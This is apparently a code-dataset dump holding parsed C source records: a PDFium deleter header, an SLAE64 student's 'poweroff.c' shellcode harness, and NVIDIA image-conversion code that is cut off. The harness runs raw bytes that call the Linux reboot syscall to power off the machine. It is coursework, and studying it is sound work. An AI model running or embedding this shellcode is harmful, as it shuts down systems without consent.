"text_snippet": "inline"}, {"node_id": 219, "universal_type": "class", "name": "FPDFPageObjectDeleter", "text_snippet": "struct FPDFPageObjectDeleter {\n inline void operator()(FPDF_PAGEOBJECT object) {\n FPDFPageObj_De"}, {"node_id": 220, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 223, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 240, "universal_type": "class", "name": "FPDFStructTreeDeleter", "text_snippet": "struct FPDFStructTreeDeleter {\n inline void operator()(FPDF_STRUCTTREE tree) { FPDF_StructTree_Clos"}, {"node_id": 241, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 244, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 261, "universal_type": "class", "name": "FPDFTextFindDeleter", "text_snippet": "struct FPDFTextFindDeleter {\n inline void operator()(FPDF_SCHHANDLE handle) { FPDFText_FindClose(ha"}, {"node_id": 262, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 265, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 282, "universal_type": "class", "name": "FPDFTextPageDeleter", "text_snippet": "struct FPDFTextPageDeleter {\n inline void operator()(FPDF_TEXTPAGE text) { FPDFText_ClosePage(text)"}, {"node_id": 283, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 286, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}], "import_statements": [{"node_id": 6, "text": "#include \"public/fpdf_annot.h\"\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include \"public/fpdf_dataavail.h\"\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include \"public/fpdf_edit.h\"\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include \"public/fpdf_formfill.h\"\n"}, {"node_id": 16, "text": "#include"}, {"node_id": 18, "text": "#include \"public/fpdf_structtree.h\"\n"}, {"node_id": 19, "text": "#include"}, {"node_id": 21, "text": "#include \"public/fpdf_text.h\"\n"}, {"node_id": 22, "text": "#include"}, {"node_id": 24, "text": "#include \"public/fpdf_transformpage.h\"\n"}, {"node_id": 25, "text": "#include"}, {"node_id": 27, "text": "#include \"public/fpdfview.h\"\n"}, {"node_id": 28, "text": "#include"}]}, "original_source_code": "// Copyright 2017 PDFium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef PUBLIC_CPP_FPDF_DELETERS_H_\n#define PUBLIC_CPP_FPDF_DELETERS_H_\n\n#include \"public/fpdf_annot.h\"\n#include \"public/fpdf_dataavail.h\"\n#include \"public/fpdf_edit.h\"\n#include \"public/fpdf_formfill.h\"\n#include \"public/fpdf_structtree.h\"\n#include \"public/fpdf_text.h\"\n#include \"public/fpdf_transformpage.h\"\n#include \"public/fpdfview.h\"\n\n// Custom deleters for using FPDF_* types with std::unique_ptr<>.\n\nstruct FPDFAnnotationDeleter {\n inline void operator()(FPDF_ANNOTATION annot) { FPDFPage_CloseAnnot(annot); }\n};\n\nstruct FPDFAvailDeleter {\n inline void operator()(FPDF_AVAIL avail) { FPDFAvail_Destroy(avail); }\n};\n\nstruct FPDFBitmapDeleter {\n inline void operator()(FPDF_BITMAP bitmap) { FPDFBitmap_Destroy(bitmap); }\n};\n\nstruct FPDFClipPathDeleter {\n inline void operator()(FPDF_CLIPPATH clip_path) {\n FPDF_DestroyClipPath(clip_path);\n }\n};\n\nstruct FPDFDocumentDeleter {\n inline void operator()(FPDF_DOCUMENT doc) { FPDF_CloseDocument(doc); }\n};\n\nstruct FPDFFontDeleter {\n inline void operator()(FPDF_FONT font) { FPDFFont_Close(font); }\n};\n\nstruct FPDFFormHandleDeleter {\n inline void operator()(FPDF_FORMHANDLE form) {\n FPDFDOC_ExitFormFillEnvironment(form);\n }\n};\n\nstruct FPDFPageDeleter {\n inline void operator()(FPDF_PAGE page) { FPDF_ClosePage(page); }\n};\n\nstruct FPDFPageLinkDeleter {\n inline void operator()(FPDF_PAGELINK pagelink) {\n FPDFLink_CloseWebLinks(pagelink);\n }\n};\n\nstruct FPDFPageObjectDeleter {\n inline void operator()(FPDF_PAGEOBJECT object) {\n FPDFPageObj_Destroy(object);\n }\n};\n\nstruct FPDFStructTreeDeleter {\n inline void operator()(FPDF_STRUCTTREE tree) { FPDF_StructTree_Close(tree); }\n};\n\nstruct FPDFTextFindDeleter {\n inline void operator()(FPDF_SCHHANDLE handle) { FPDFText_FindClose(handle); }\n};\n\nstruct FPDFTextPageDeleter {\n inline void operator()(FPDF_TEXTPAGE text) { FPDFText_ClosePage(text); }\n};\n\n#endif // PUBLIC_CPP_FPDF_DELETERS_H_\n"}
81,188
c
// Student ID : SLAE64-1611 // Student Name : Jonathan "Chops" Crosby // Assignment 6 : Shell Code Test File // File Name : poweroff.c #include<stdio.h> #include<string.h> //compile with: gcc poweroff.c -o poweroff -fno-stack-protector -z execstack -no-pie unsigned char code[] = \ "\x48\x31\xc0\xb0\xa9\xba\xdd\xfe\x21\x43\xbe\x6a\x19\x12\x28\xbf\xad\xde\xe1\xfe\xfe\xca\x40\xfe\xce\x0f\x05"; main() { printf("Shellcode Length: %zu\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
32.4
15
(translation_unit) "// Student ID : SLAE64-1611\n// Student Name : Jonathan "Chops" Crosby\n// Assignment 6 : Shell Code Test File\n// File Name : poweroff.c\n\n#include<stdio.h>\n#include<string.h>\n\n//compile with: gcc poweroff.c -o poweroff -fno-stack-protector -z execstack -no-pie\n\nunsigned char code[] = \\n"\x48\x31\xc0\xb0\xa9\xba\xdd\xfe\x21\x43\xbe\x6a\x19\x12\x28\xbf\xad\xde\xe1\xfe\xfe\xca\x40\xfe\xce\x0f\x05";\n\nmain()\n{\n printf("Shellcode Length: %zu\n", strlen(code));\n int (*ret)() = (int(*)())code;\n ret();\n}\n" (comment) "// Student ID : SLAE64-1611" (comment) "// Student Name : Jonathan "Chops" Crosby" (comment) "// Assignment 6 : Shell Code Test File" (comment) "// File Name : poweroff.c" (preproc_include) "#include<stdio.h>\n" (#include) "#include" (system_lib_string) "<stdio.h>" (preproc_include) "#include<string.h>\n" (#include) "#include" (system_lib_string) "<string.h>" (comment) "//compile with: gcc poweroff.c -o poweroff -fno-stack-protector -z execstack -no-pie" (declaration) "unsigned char code[] = \\n"\x48\x31\xc0\xb0\xa9\xba\xdd\xfe\x21\x43\xbe\x6a\x19\x12\x28\xbf\xad\xde\xe1\xfe\xfe\xca\x40\xfe\xce\x0f\x05";" (sized_type_specifier) "unsigned char" (unsigned) "unsigned" (primitive_type) "char" (init_declarator) "code[] = \\n"\x48\x31\xc0\xb0\xa9\xba\xdd\xfe\x21\x43\xbe\x6a\x19\x12\x28\xbf\xad\xde\xe1\xfe\xfe\xca\x40\xfe\xce\x0f\x05"" (array_declarator) "code[]" (identifier) "code" ([) "[" (]) "]" (=) "=" (string_literal) ""\x48\x31\xc0\xb0\xa9\xba\xdd\xfe\x21\x43\xbe\x6a\x19\x12\x28\xbf\xad\xde\xe1\xfe\xfe\xca\x40\xfe\xce\x0f\x05"" (") """ (escape_sequence) "\x48" (escape_sequence) "\x31" (escape_sequence) "\xc0" (escape_sequence) "\xb0" (escape_sequence) "\xa9" (escape_sequence) "\xba" (escape_sequence) "\xdd" (escape_sequence) "\xfe" (escape_sequence) "\x21" (escape_sequence) "\x43" (escape_sequence) "\xbe" (escape_sequence) "\x6a" (escape_sequence) "\x19" (escape_sequence) "\x12" (escape_sequence) "\x28" (escape_sequence) "\xbf" (escape_sequence) "\xad" (escape_sequence) "\xde" (escape_sequence) "\xe1" (escape_sequence) "\xfe" (escape_sequence) "\xfe" (escape_sequence) "\xca" (escape_sequence) "\x40" (escape_sequence) "\xfe" (escape_sequence) "\xce" (escape_sequence) "\x0f" (escape_sequence) "\x05" (") """ (;) ";" (expression_statement) "main()" (call_expression) "main()" (identifier) "main" (argument_list) "()" (() "(" ()) ")" (;) "" (compound_statement) "{\n printf("Shellcode Length: %zu\n", strlen(code));\n int (*ret)() = (int(*)())code;\n ret();\n}" ({) "{" (expression_statement) "printf("Shellcode Length: %zu\n", strlen(code));" (call_expression) "printf("Shellcode Length: %zu\n", strlen(code))" (identifier) "printf" (argument_list) "("Shellcode Length: %zu\n", strlen(code))" (() "(" (string_literal) ""Shellcode Length: %zu\n"" (") """ (string_content) "Shellcode Length: %zu" (escape_sequence) "\n" (") """ (,) "," (call_expression) "strlen(code)" (identifier) "strlen" (argument_list) "(code)" (() "(" (identifier) "code" ()) ")" ()) ")" (;) ";" (declaration) "int (*ret)() = (int(*)())code;" (primitive_type) "int" (init_declarator) "(*ret)() = (int(*)())code" (function_declarator) "(*ret)()" (parenthesized_declarator) "(*ret)" (() "(" (pointer_declarator) "*ret" (*) "*" (identifier) "ret" ()) ")" (parameter_list) "()" (() "(" ()) ")" (=) "=" (cast_expression) "(int(*)())code" (() "(" (type_descriptor) "int(*)()" (primitive_type) "int" (abstract_function_declarator) "(*)()" (abstract_parenthesized_declarator) "(*)" (() "(" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (parameter_list) "()" (() "(" ()) ")" ()) ")" (identifier) "code" (;) ";" (expression_statement) "ret();" (call_expression) "ret()" (identifier) "ret" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}"
119
0
{"language": "c", "success": true, "metadata": {"lines": 15, "avg_line_length": 32.4, "nodes": 76, "errors": 0, "source_hash": "5f84b2fcbbf3c45d96f7b748b1d2cb77b7b725caee990e73cff1c8db11be07f5", "categorized_nodes": 26}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include<stdio.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 8}}, {"id": 2, "type": "system_lib_string", "text": "<stdio.h>", "parent": 0, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 17}}, {"id": 3, "type": "preproc_include", "text": "#include<string.h>\n", "parent": null, "children": [4, 5], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 7, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<string.h>", "parent": 3, "children": [], "start_point": {"row": 6, "column": 8}, "end_point": {"row": 6, "column": 18}}, {"id": 6, "type": "declaration", "text": "unsigned char code[] = \\\n\"\\x48\\x31\\xc0\\xb0\\xa9\\xba\\xdd\\xfe\\x21\\x43\\xbe\\x6a\\x19\\x12\\x28\\xbf\\xad\\xde\\xe1\\xfe\\xfe\\xca\\x40\\xfe\\xce\\x0f\\x05\";", "parent": null, "children": [7, 10], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 111}}, {"id": 7, "type": "sized_type_specifier", "text": "unsigned char", "parent": 6, "children": [8, 9], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 13}}, {"id": 8, "type": "unsigned", "text": "unsigned", "parent": 7, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 8}}, {"id": 9, "type": "primitive_type", "text": "char", "parent": 7, "children": [], "start_point": {"row": 10, "column": 9}, "end_point": {"row": 10, "column": 13}}, {"id": 10, "type": "init_declarator", "text": "code[] = \\\n\"\\x48\\x31\\xc0\\xb0\\xa9\\xba\\xdd\\xfe\\x21\\x43\\xbe\\x6a\\x19\\x12\\x28\\xbf\\xad\\xde\\xe1\\xfe\\xfe\\xca\\x40\\xfe\\xce\\x0f\\x05\"", "parent": 6, "children": [11, 13, 14], "start_point": {"row": 10, "column": 14}, "end_point": {"row": 11, "column": 110}}, {"id": 11, "type": "array_declarator", "text": "code[]", "parent": 10, "children": [12], "start_point": {"row": 10, "column": 14}, "end_point": {"row": 10, "column": 20}}, {"id": 12, "type": "identifier", "text": "code", "parent": 11, "children": [], "start_point": {"row": 10, "column": 14}, "end_point": {"row": 10, "column": 18}}, {"id": 13, "type": "=", "text": "=", "parent": 10, "children": [], "start_point": {"row": 10, "column": 21}, "end_point": {"row": 10, "column": 22}}, {"id": 14, "type": "string_literal", "text": "\"\\x48\\x31\\xc0\\xb0\\xa9\\xba\\xdd\\xfe\\x21\\x43\\xbe\\x6a\\x19\\x12\\x28\\xbf\\xad\\xde\\xe1\\xfe\\xfe\\xca\\x40\\xfe\\xce\\x0f\\x05\"", "parent": 10, "children": [15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 110}}, {"id": 15, "type": "escape_sequence", "text": "\\x48", "parent": 14, "children": [], "start_point": {"row": 11, "column": 1}, "end_point": {"row": 11, "column": 5}}, {"id": 16, "type": "escape_sequence", "text": "\\x31", "parent": 14, "children": [], "start_point": {"row": 11, "column": 5}, "end_point": {"row": 11, "column": 9}}, {"id": 17, "type": "escape_sequence", "text": "\\xc0", "parent": 14, "children": [], "start_point": {"row": 11, "column": 9}, "end_point": {"row": 11, "column": 13}}, {"id": 18, "type": "escape_sequence", "text": "\\xb0", "parent": 14, "children": [], "start_point": {"row": 11, "column": 13}, "end_point": {"row": 11, "column": 17}}, {"id": 19, "type": "escape_sequence", "text": "\\xa9", "parent": 14, "children": [], "start_point": {"row": 11, "column": 17}, "end_point": {"row": 11, "column": 21}}, {"id": 20, "type": "escape_sequence", "text": "\\xba", "parent": 14, "children": [], "start_point": {"row": 11, "column": 21}, "end_point": {"row": 11, "column": 25}}, {"id": 21, "type": "escape_sequence", "text": "\\xdd", "parent": 14, "children": [], "start_point": {"row": 11, "column": 25}, "end_point": {"row": 11, "column": 29}}, {"id": 22, "type": "escape_sequence", "text": "\\xfe", "parent": 14, "children": [], "start_point": {"row": 11, "column": 29}, "end_point": {"row": 11, "column": 33}}, {"id": 23, "type": "escape_sequence", "text": "\\x21", "parent": 14, "children": [], "start_point": {"row": 11, "column": 33}, "end_point": {"row": 11, "column": 37}}, {"id": 24, "type": "escape_sequence", "text": "\\x43", "parent": 14, "children": [], "start_point": {"row": 11, "column": 37}, "end_point": {"row": 11, "column": 41}}, {"id": 25, "type": "escape_sequence", "text": "\\xbe", "parent": 14, "children": [], "start_point": {"row": 11, "column": 41}, "end_point": {"row": 11, "column": 45}}, {"id": 26, "type": "escape_sequence", "text": "\\x6a", "parent": 14, "children": [], "start_point": {"row": 11, "column": 45}, "end_point": {"row": 11, "column": 49}}, {"id": 27, "type": "escape_sequence", "text": "\\x19", "parent": 14, "children": [], "start_point": {"row": 11, "column": 49}, "end_point": {"row": 11, "column": 53}}, {"id": 28, "type": "escape_sequence", "text": "\\x12", "parent": 14, "children": [], "start_point": {"row": 11, "column": 53}, "end_point": {"row": 11, "column": 57}}, {"id": 29, "type": "escape_sequence", "text": "\\x28", "parent": 14, "children": [], "start_point": {"row": 11, "column": 57}, "end_point": {"row": 11, "column": 61}}, {"id": 30, "type": "escape_sequence", "text": "\\xbf", "parent": 14, "children": [], "start_point": {"row": 11, "column": 61}, "end_point": {"row": 11, "column": 65}}, {"id": 31, "type": "escape_sequence", "text": "\\xad", "parent": 14, "children": [], "start_point": {"row": 11, "column": 65}, "end_point": {"row": 11, "column": 69}}, {"id": 32, "type": "escape_sequence", "text": "\\xde", "parent": 14, "children": [], "start_point": {"row": 11, "column": 69}, "end_point": {"row": 11, "column": 73}}, {"id": 33, "type": "escape_sequence", "text": "\\xe1", "parent": 14, "children": [], "start_point": {"row": 11, "column": 73}, "end_point": {"row": 11, "column": 77}}, {"id": 34, "type": "escape_sequence", "text": "\\xfe", "parent": 14, "children": [], "start_point": {"row": 11, "column": 77}, "end_point": {"row": 11, "column": 81}}, {"id": 35, "type": "escape_sequence", "text": "\\xfe", "parent": 14, "children": [], "start_point": {"row": 11, "column": 81}, "end_point": {"row": 11, "column": 85}}, {"id": 36, "type": "escape_sequence", "text": "\\xca", "parent": 14, "children": [], "start_point": {"row": 11, "column": 85}, "end_point": {"row": 11, "column": 89}}, {"id": 37, "type": "escape_sequence", "text": "\\x40", "parent": 14, "children": [], "start_point": {"row": 11, "column": 89}, "end_point": {"row": 11, "column": 93}}, {"id": 38, "type": "escape_sequence", "text": "\\xfe", "parent": 14, "children": [], "start_point": {"row": 11, "column": 93}, "end_point": {"row": 11, "column": 97}}, {"id": 39, "type": "escape_sequence", "text": "\\xce", "parent": 14, "children": [], "start_point": {"row": 11, "column": 97}, "end_point": {"row": 11, "column": 101}}, {"id": 40, "type": "escape_sequence", "text": "\\x0f", "parent": 14, "children": [], "start_point": {"row": 11, "column": 101}, "end_point": {"row": 11, "column": 105}}, {"id": 41, "type": "escape_sequence", "text": "\\x05", "parent": 14, "children": [], "start_point": {"row": 11, "column": 105}, "end_point": {"row": 11, "column": 109}}, {"id": 42, "type": "call_expression", "text": "main()", "parent": null, "children": [43, 44], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 6}}, {"id": 43, "type": "identifier", "text": "main", "parent": 42, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 4}}, {"id": 44, "type": "argument_list", "text": "()", "parent": 42, "children": [], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 6}}, {"id": 45, "type": "call_expression", "text": "printf(\"Shellcode Length: %zu\\n\", strlen(code))", "parent": null, "children": [46, 47], "start_point": {"row": 15, "column": 1}, "end_point": {"row": 15, "column": 49}}, {"id": 46, "type": "identifier", "text": "printf", "parent": 45, "children": [], "start_point": {"row": 15, "column": 1}, "end_point": {"row": 15, "column": 7}}, {"id": 47, "type": "argument_list", "text": "(\"Shellcode Length: %zu\\n\", strlen(code))", "parent": 45, "children": [48, 50], "start_point": {"row": 15, "column": 7}, "end_point": {"row": 15, "column": 49}}, {"id": 48, "type": "string_literal", "text": "\"Shellcode Length: %zu\\n\"", "parent": 47, "children": [49], "start_point": {"row": 15, "column": 8}, "end_point": {"row": 15, "column": 34}}, {"id": 49, "type": "escape_sequence", "text": "\\n", "parent": 48, "children": [], "start_point": {"row": 15, "column": 31}, "end_point": {"row": 15, "column": 33}}, {"id": 50, "type": "call_expression", "text": "strlen(code)", "parent": 47, "children": [51, 52], "start_point": {"row": 15, "column": 36}, "end_point": {"row": 15, "column": 48}}, {"id": 51, "type": "identifier", "text": "strlen", "parent": 50, "children": [], "start_point": {"row": 15, "column": 36}, "end_point": {"row": 15, "column": 42}}, {"id": 52, "type": "argument_list", "text": "(code)", "parent": 50, "children": [53], "start_point": {"row": 15, "column": 42}, "end_point": {"row": 15, "column": 48}}, {"id": 53, "type": "identifier", "text": "code", "parent": 52, "children": [], "start_point": {"row": 15, "column": 43}, "end_point": {"row": 15, "column": 47}}, {"id": 54, "type": "declaration", "text": "int (*ret)() = (int(*)())code;", "parent": null, "children": [55, 56], "start_point": {"row": 16, "column": 1}, "end_point": {"row": 16, "column": 31}}, {"id": 55, "type": "primitive_type", "text": "int", "parent": 54, "children": [], "start_point": {"row": 16, "column": 1}, "end_point": {"row": 16, "column": 4}}, {"id": 56, "type": "init_declarator", "text": "(*ret)() = (int(*)())code", "parent": 54, "children": [57, 63, 64], "start_point": {"row": 16, "column": 5}, "end_point": {"row": 16, "column": 30}}, {"id": 57, "type": "function_declarator", "text": "(*ret)()", "parent": 56, "children": [58, 62], "start_point": {"row": 16, "column": 5}, "end_point": {"row": 16, "column": 13}}, {"id": 58, "type": "parenthesized_declarator", "text": "(*ret)", "parent": 57, "children": [59], "start_point": {"row": 16, "column": 5}, "end_point": {"row": 16, "column": 11}}, {"id": 59, "type": "pointer_declarator", "text": "*ret", "parent": 58, "children": [60, 61], "start_point": {"row": 16, "column": 6}, "end_point": {"row": 16, "column": 10}}, {"id": 60, "type": "*", "text": "*", "parent": 59, "children": [], "start_point": {"row": 16, "column": 6}, "end_point": {"row": 16, "column": 7}}, {"id": 61, "type": "identifier", "text": "ret", "parent": 59, "children": [], "start_point": {"row": 16, "column": 7}, "end_point": {"row": 16, "column": 10}}, {"id": 62, "type": "parameter_list", "text": "()", "parent": 57, "children": [], "start_point": {"row": 16, "column": 11}, "end_point": {"row": 16, "column": 13}}, {"id": 63, "type": "=", "text": "=", "parent": 56, "children": [], "start_point": {"row": 16, "column": 14}, "end_point": {"row": 16, "column": 15}}, {"id": 64, "type": "cast_expression", "text": "(int(*)())code", "parent": 56, "children": [65, 72], "start_point": {"row": 16, "column": 16}, "end_point": {"row": 16, "column": 30}}, {"id": 65, "type": "type_descriptor", "text": "int(*)()", "parent": 64, "children": [66, 67], "start_point": {"row": 16, "column": 17}, "end_point": {"row": 16, "column": 25}}, {"id": 66, "type": "primitive_type", "text": "int", "parent": 65, "children": [], "start_point": {"row": 16, "column": 17}, "end_point": {"row": 16, "column": 20}}, {"id": 67, "type": "abstract_function_declarator", "text": "(*)()", "parent": 65, "children": [68, 71], "start_point": {"row": 16, "column": 20}, "end_point": {"row": 16, "column": 25}}, {"id": 68, "type": "abstract_parenthesized_declarator", "text": "(*)", "parent": 67, "children": [69], "start_point": {"row": 16, "column": 20}, "end_point": {"row": 16, "column": 23}}, {"id": 69, "type": "abstract_pointer_declarator", "text": "*", "parent": 68, "children": [70], "start_point": {"row": 16, "column": 21}, "end_point": {"row": 16, "column": 22}}, {"id": 70, "type": "*", "text": "*", "parent": 69, "children": [], "start_point": {"row": 16, "column": 21}, "end_point": {"row": 16, "column": 22}}, {"id": 71, "type": "parameter_list", "text": "()", "parent": 67, "children": [], "start_point": {"row": 16, "column": 23}, "end_point": {"row": 16, "column": 25}}, {"id": 72, "type": "identifier", "text": "code", "parent": 64, "children": [], "start_point": {"row": 16, "column": 26}, "end_point": {"row": 16, "column": 30}}, {"id": 73, "type": "call_expression", "text": "ret()", "parent": null, "children": [74, 75], "start_point": {"row": 17, "column": 1}, "end_point": {"row": 17, "column": 6}}, {"id": 74, "type": "identifier", "text": "ret", "parent": 73, "children": [], "start_point": {"row": 17, "column": 1}, "end_point": {"row": 17, "column": 4}}, {"id": 75, "type": "argument_list", "text": "()", "parent": 73, "children": [], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 6}}]}, "node_categories": {"declarations": {"functions": [57, 67], "variables": [6, 54], "classes": [], "imports": [0, 1, 3, 4], "modules": [], "enums": []}, "statements": {"expressions": [42, 45, 50, 64, 73], "assignments": [], "loops": [], "conditionals": [7, 12, 43, 46, 51, 53, 61, 72, 74], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 14, 48], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 57, "universal_type": "function", "name": "unknown", "text_snippet": "(*ret)()"}, {"node_id": 67, "universal_type": "function", "name": "unknown", "text_snippet": "(*)()"}], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include<stdio.h>\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include<string.h>\n"}, {"node_id": 4, "text": "#include"}]}, "original_source_code": "// Student ID : SLAE64-1611\n// Student Name : Jonathan \"Chops\" Crosby\n// Assignment 6 : Shell Code Test File\n// File Name : poweroff.c\n\n#include<stdio.h>\n#include<string.h>\n\n//compile with: gcc poweroff.c -o poweroff -fno-stack-protector -z execstack -no-pie\n\nunsigned char code[] = \\\n\"\\x48\\x31\\xc0\\xb0\\xa9\\xba\\xdd\\xfe\\x21\\x43\\xbe\\x6a\\x19\\x12\\x28\\xbf\\xad\\xde\\xe1\\xfe\\xfe\\xca\\x40\\xfe\\xce\\x0f\\x05\";\n\nmain()\n{\n\tprintf(\"Shellcode Length: %zu\\n\", strlen(code));\n\tint (*ret)() = (int(*)())code;\n\tret();\n}\n"}
81,189
c
/* gli_convert.c - OpenGL image (GLI) file loader */ /* Copyright NVIDIA Corporation, 2000. */ /* Fromat conversion routines for lightweight generic image file loader for OpenGL programs. */ #include <assert.h> #include <stdlib.h> #include "gli.h" void gliConvertBGRtoRGB(gliGenericImage *image) { const int components = 3; GLubyte pixel[3]; int w, h; GLubyte *pixels; int i, j, c; w = image->width; h = image->height; assert(image->format == GL_BGR_EXT); image->format = GL_RGB; pixels = image->pixels; for (j=0; j<h; j++) { for (i=0; i<w; i++) { for (c=0; c<components; c++) { pixel[c] = pixels[(j*w+i)*components+c]; } pixels[(j*w+i)*components+0] = pixel[2]; pixels[(j*w+i)*components+1] = pixel[1]; pixels[(j*w+i)*components+2] = pixel[0]; } } } void gliConvertBGRAtoRGBA(gliGenericImage *image) { const int components = 4; GLubyte pixel[4]; int w, h; GLubyte *pixels; GLubyte *spixels, spixel[2]; int i, j, c; w = image->width; h = image->height; pixels = image->pixels; assert(image->format == GL_BGRA_EXT); switch (image->type) { case GL_UNSIGNED_BYTE: image->format = GL_RGBA; for (j=0; j<h; j++) { for (i=0; i<w; i++) { for (c=0; c<components; c++) { pixel[c] = pixels[(j*w+i)*components+c]; } pixels[(j*w+i)*components+0] = pixel[2]; pixels[(j*w+i)*components+1] = pixel[1]; pixels[(j*w+i)*components+2] = pixel[0]; pixels[(j*w+i)*components+3] = pixel[3]; } } break; case GL_UNSIGNED_SHORT_1_5_5_5_REV: assert(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV); if (image->components == 4) { image->format = GL_RGBA; spixels = (GLubyte*) image->pixels; image->pixels = (GLubyte*) malloc(w * h * 4); pixels = image->pixels; for (j=0; j<h; j++) { for (i=0; i<w; i++) { GLubyte red, green, blue; spixel[0] = spixels[(j*w+i)*2+0]; spixel[1] = spixels[(j*w+i)*2+1]; red = (spixel[1] & 0x7c) >> 2; red = (red << 3) | ((red & 0x1) * 0x7); green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5); green = (green << 3) | ((green & 0x1) * 0x7); blue = (spixel[0] & 0x1f) >> 0; blue = (blue << 3) | ((blue & 0x1) * 0x7); pixels[(j*w+i)*components+0] = red; pixels[(j*w+i)*components+1] = green; pixels[(j*w+i)*components+2] = blue; pixels[(j*w+i)*components+3] = 0xff; } } } else { assert(image->components == 3); image->format = GL_RGB; spixels = image->pixels; image->pixels = (GLubyte*) malloc(w * h * 3); pixels = image->pixels; for (j=0; j<h; j++) { for (i=0; i<w; i++) { GLubyte red, green, blue; spixel[0] = spixels[(j*w+i)*2+0]; spixel[1] = spixels[(j*w+i)*2+1]; red = (spixel[1] & 0x7c) >> 2; red = (red << 3) | ((red & 0x1) * 0x7); green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5); green = (green << 3) | ((green & 0x1) * 0x7); blue = (spixel[0] & 0x1f) >> 0; blue = (blue << 3) | ((blue & 0x1) * 0x7); pixels[(j*w+i)*3+0] = red; pixels[(j*w+i)*3+1] = green; pixels[(j*w+i)*3+2] = blue; } } } image->type = GL_UNSIGNED_BYTE; free(spixels); break; default: assert(0); break; } } void gliConvertABGRoRGBA(gliGenericImage *image) { const int components = 4; GLubyte pixel[4]; int w, h; GLubyte *pixels; int i, j, c; w = image->width; h = image->height; pixels = image->pixels; assert(image->format == GL_ABGR_EXT); image->format = GL_RGBA; for (j=0; j<h; j++) { for (i=0; i<w; i++) { for (c=0; c<components; c++) { pixel[c] = pixels[(j*w+i)*components+c]; } pixels[(j*w+i)*components+0] = pixel[3]; pixels[(j*w+i)*components+1] = pixel[2]; pixels[(j*w+i)*components+2] = pixel[1]; pixels[(j*w+i)*components+3] = pixel[0]; } } } void gliConvertImageToCoreFormat(gliGenericImage *image) { switch (image->format) { case GL_BGR_EXT: gliConvertBGRtoRGB(image); break; case GL_BGRA_EXT: gliConvertBGRAtoRGBA(image); break; case GL_ABGR_EXT: gliConvertABGRoRGBA(image); break; default: /* Assume nothing needed. */ break; } }
26.59
162
(translation_unit) "/* gli_convert.c - OpenGL image (GLI) file loader */\n\n/* Copyright NVIDIA Corporation, 2000. */\n\n/* Fromat conversion routines for lightweight generic image\n file loader for OpenGL programs. */\n\n#include <assert.h>\n#include <stdlib.h>\n\n#include "gli.h"\n\nvoid\ngliConvertBGRtoRGB(gliGenericImage *image)\n{\n const int components = 3;\n GLubyte pixel[3];\n int w, h;\n GLubyte *pixels;\n int i, j, c;\n \n w = image->width;\n h = image->height;\n \n assert(image->format == GL_BGR_EXT);\n image->format = GL_RGB;\n \n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n }\n }\n}\n\nvoid\ngliConvertBGRAtoRGBA(gliGenericImage *image)\n{\n const int components = 4;\n GLubyte pixel[4];\n int w, h;\n GLubyte *pixels;\n GLubyte *spixels, spixel[2];\n int i, j, c;\n\n w = image->width;\n h = image->height;\n pixels = image->pixels;\n\n assert(image->format == GL_BGRA_EXT);\n \n switch (image->type) {\n case GL_UNSIGNED_BYTE:\n image->format = GL_RGBA;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }\n }\n break;\n case 